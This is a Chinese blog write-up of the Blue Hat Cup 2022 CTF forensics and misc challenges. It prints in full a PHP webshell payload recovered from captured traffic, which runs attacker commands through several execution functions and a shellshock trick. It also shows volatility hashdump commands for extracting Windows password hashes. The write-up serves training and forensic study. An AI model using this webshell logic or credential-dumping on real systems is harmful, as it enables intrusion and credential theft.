惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Docker
I
InfoQ
L
LangChain Blog
阮一峰的网络日志
阮一峰的网络日志
Y
Y Combinator Blog
博客园_首页
Martin Fowler
Martin Fowler
宝玉的分享
宝玉的分享
A
About on SuperTechFans
Apple Machine Learning Research
Apple Machine Learning Research
Vercel News
Vercel News
T
The Blog of Author Tim Ferriss
C
Check Point Blog
B
Blog RSS Feed
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Engineering at Meta
Engineering at Meta
B
Blog
爱范儿
爱范儿
Stack Overflow Blog
Stack Overflow Blog
aimingoo的专栏
aimingoo的专栏
WordPress大学
WordPress大学
F
Fortinet All Blogs
月光博客
月光博客
GbyAI
GbyAI

Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 记一次 JS 逆向密码加密 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本
蓝帽杯 2022 Writeup
2022-07-10 · via Hi, I Am I

一觉起来蓝帽杯还有一个多小时结束QAQ,划划水做了几题下线了。整体来说蓝帽杯体验还是不错的,大部分电子取证题很适合新手。

MISC

domainhacker

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:flag{hash_of_machine}

全是 HTTP 流量,我们直接追踪 TCP流流10 发现了 mimikatz

image-20220709184706210

流13 发现了一个压缩包

image-20220709184841410

我们直接导出所有 HTTP对象

image-20220709184901623

得到一堆文件和一个加密压缩包1.rar

image-20220709185029725

打开看了一下,1(17).php 对应着 流13 的内容,所以我们直接看前一个请求信息 1(16).php 里请求了什么,简单格式化一下

<?php
a = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.37120390cd";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0;$i < sizeof($cntarr);$i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "d1588" . "7ac2af";
    echo @asenc($output);
    echo "bb1" . "ca7";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["yee092cda97a62"], 2));
    $s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));
    $envstr = @base64_decode(substr($_POST["p48a6d55fac1b1"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    };
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print ($output);
                return True;
            }
        }
        return False;
    };
    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print (@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print (join("
", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print (@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print (@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print (@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret.= $so->ReadAll();
            $se = $e->StdErr();
            $ret.= $se->ReadAll();
            print ($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    };
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die(); 
&p48a6d55fac1b1=Tw&q8fb9d4c082c11=YNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg=&yee092cda97a62=6iY21k

发现拼接了三个$_POST 的参数 p48a6d55fac1b1q8fb9d4c082c11yee092cda97a62,拼接一下这三个参数的值

TwYNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg6iY21k

base64 解码后得到

O
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8:

至此我们得到 1.rar 的解压密码 SecretsPassw0rds,解压后得到机器的 hash416f89c3a5deb1d398a1a1fce93862a7

image-20220709185655917

电子取证

程序分析_1

现已获取某个APP程序,请您对以下问题进行分析解答。

本程序包名是?(答案参考格式:abc.xx.de)

直接 Jadx 打开,在 AndroidMainfest.xml 里面找到包名 exec.azj.kny.d.c

image-20220709182414616

程序分析_2

本程序的入口是?(答案参考格式:abc.xx.de)

入口肯定是 Main,我们直接找到 Main,得到入口 minmtta.hemjcbm.ahibyws.MainActivity

image-20220709182527621

程序分析_3

本程序的服务器地址的密文是?(答案参考格式:abcABC123)

程序分析_2 中得到的入口中得到一段 base64 编码

return new String(Base64.decode("aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6", 0), "utf-8");

解密后得到一段地址,所以说这段 base64 编码肯定就是flag了。

https://ansjk.ecxeio.xyz

手机取证_1

现对一个苹果手机进行取证,请您对以下问题进行分析解答。

627604C2-C586-48C1-AA16-FF33C3022159.PNG图片的分辨率是?(答案参考格式:1920x1080)

打开 盘古石阅读器 ,直接在左上角 搜索 中搜索 627604C2-C586-48C1-AA16-FF33C3022159.PNG

image-20220709183106264

成功检索到该文件,我们选择图片然后右键导出

image-20220709183045710

得到分辨率 360x360

image-20220709183208195

手机取证_2

姜总的快递单号是多少?(答案参考格式:abcABC123)

手机取证_1 同样的操作, 搜索 框里搜索 单号 得到 SF1142358694796

image-20220709183340600

网站取证_1

据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。

请从网站源码中找出木马文件,并提交木马连接的密码。(答案参考格式:abcABC123)

直接 D盾 扫描得到 runtime\temp\0f71e181346d43e56722aec663e5d4e9.php 一句话木马,连接密码 lanmaobei666

image-20220709183821066

网站取证_2

请提交数据库连接的明文密码。(答案参考格式:abcABC123)

一看目录结构就知道是 ThinkPHP ,直接查看 application/database.php 文件,不过这里是调用了自定义 my_encrypt() 函数

image-20220709184031264

我们直接在文件夹内搜索 my_encrypt 得到 application\encrypt\encrypt.php,直接 var_dump(my_encrypt()); 调用该函数输出数据库密码。

image-20220709184249725

网站取证_3

请提交数据库金额加密混淆使用的盐值。(答案参考格式:abcABC123)

既然是金额,我们直接搜索 money 得到 application\admin\controller\Channelorder.php 发现调用了自定义函数 encrypt()

image-20220709184423422

我们直接在文件夹内搜索 encrypt 得到 application\admin\controller\Channelorder.php,加密混淆使用的盐值为 jyzg123456

image-20220709184532211

计算机取证_1

现对一个windows计算机进行取证,请您对以下问题进行分析解答。

从内存镜像中获得taqi7的开机密码是多少?(答案参考格式:abcABC123)

附件下载地址见平台公告,解压密码为93ce7ea39bdd7baa137f1e9b963b7ee5

我们先自动分析内存所属的操作系统和版本

.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp imageinfo

然后在查看镜像里的win7密码

.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp  --profile=Win7SP1x64 hashdump

image-20220709215858796

得到 hash 密码 7f21caca5685f10d9e849cc84c340528,使用cmd5解密后得到 anxinqi

计算机取证_2

制作该内存镜像的进程Pid号是多少?(答案参考格式:1024)

直接列出进程列表

.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp  --profile=Win7SP1x64 pslist

看到 MagnetRAMCaptuPid2192

image-20220709222143093